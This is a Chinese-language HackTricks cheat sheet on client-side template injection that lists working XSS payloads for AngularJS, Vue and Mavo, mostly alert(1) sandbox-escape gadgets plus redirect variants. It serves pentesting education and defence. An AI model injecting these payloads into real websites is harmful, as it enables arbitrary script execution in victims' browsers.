mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 05:03:35 +00:00
102 lines
6.5 KiB
Markdown
102 lines
6.5 KiB
Markdown
<details>
|
||
|
||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||
|
||
支持HackTricks的其他方式:
|
||
|
||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||
|
||
</details>
|
||
|
||
|
||
# 摘要
|
||
|
||
这类似于**服务器端模板注入**,但是在**客户端**。**SSTI**可以让您在远程服务器上**执行代码**,而**CSTI**可以让您在受害者的浏览器中**执行任意JavaScript**代码。
|
||
|
||
对于这种漏洞的**测试**与**SSTI**的情况非常**相似**,解释器期望**一个模板**并将执行它。例如,使用像`{{ 7-7 }}`这样的有效负载,如果应用程序**存在漏洞**,您将看到一个`0`,如果没有,您将看到原始内容:`{{ 7-7 }}`
|
||
|
||
# AngularJS
|
||
|
||
AngularJS是一个广泛使用的JavaScript框架,通过称为指令的属性与HTML进行交互,其中一个显著的指令是**`ng-app`**。该指令允许AngularJS处理HTML内容,从而执行双花括号内的JavaScript表达式。
|
||
|
||
在用户输入动态插入到标记为`ng-app`的HTML主体的情况下,可以执行任意JavaScript代码。这可以通过利用输入中的AngularJS语法来实现。以下是演示如何执行JavaScript代码的示例:
|
||
```javascript
|
||
{{$on.constructor('alert(1)')()}}
|
||
{{constructor.constructor('alert(1)')()}}
|
||
<input ng-focus=$event.view.alert('XSS')>
|
||
|
||
<!-- Google Research - AngularJS -->
|
||
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
|
||
```
|
||
您可以在[http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/)和[**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression)找到**AngularJS**中漏洞的非常**基本的在线示例**。
|
||
|
||
{% hint style="danger" %}
|
||
[**Angular 1.6移除了沙盒**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html#:\~:text=The%20Angular%20expression%20sandbox%20will,smaller%20and%20easier%20to%20maintain.\&text=Removing%20the%20expression%20sandbox%20does,surface%20of%20Angular%201%20applications.),因此从这个版本开始,像`{{constructor.constructor('alert(1)')()}}`或`<input ng-focus=$event.view.alert('XSS')>`这样的有效载荷应该可以工作。
|
||
{% endhint %}
|
||
|
||
# VueJS
|
||
|
||
您可以在[https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh)找到一个**易受攻击的Vue**实现。\
|
||
有效载荷:[`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`](https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor\(%27alert\(%22foo%22\)%27\)\(\)%7D%7D)
|
||
|
||
以及这里易受攻击示例的**源代码**:[https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example)
|
||
```markup
|
||
<!-- Google Research - Vue.js-->
|
||
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
|
||
```
|
||
## **V3**
|
||
|
||
在 [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets) 中可以找到关于VUE中CSTI的非常好的文章。
|
||
```
|
||
{{_openBlock.constructor('alert(1)')()}}
|
||
```
|
||
Credit: [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
|
||
|
||
## **V2**
|
||
```
|
||
{{constructor.constructor('alert(1)')()}}
|
||
```
|
||
Credit: [Mario Heiderich](https://twitter.com/cure53berlin)
|
||
|
||
**在** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected) **中查看更多VUE有效载荷**
|
||
|
||
# Mavo
|
||
|
||
有效载荷:
|
||
```
|
||
[7*7]
|
||
[(1,alert)(1)]
|
||
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
|
||
[self.alert(1)]
|
||
javascript:alert(1)%252f%252f..%252fcss-images
|
||
[Omglol mod 1 mod self.alert (1) andlol]
|
||
[''=''or self.alert(lol)]
|
||
<a data-mv-if='1 or self.alert(1)'>test</a>
|
||
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
|
||
<a href=[javascript&':alert(1)']>test</a>
|
||
[self.alert(1)mod1]
|
||
```
|
||
**更多有效载荷请查看** [**https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations**](https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations)
|
||
|
||
# **暴力检测列表**
|
||
|
||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
|
||
|
||
|
||
<details>
|
||
|
||
<summary><strong>从零开始学习AWS黑客技术,成为专家,使用</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
支持HackTricks的其他方式:
|
||
|
||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||
|
||
</details>
|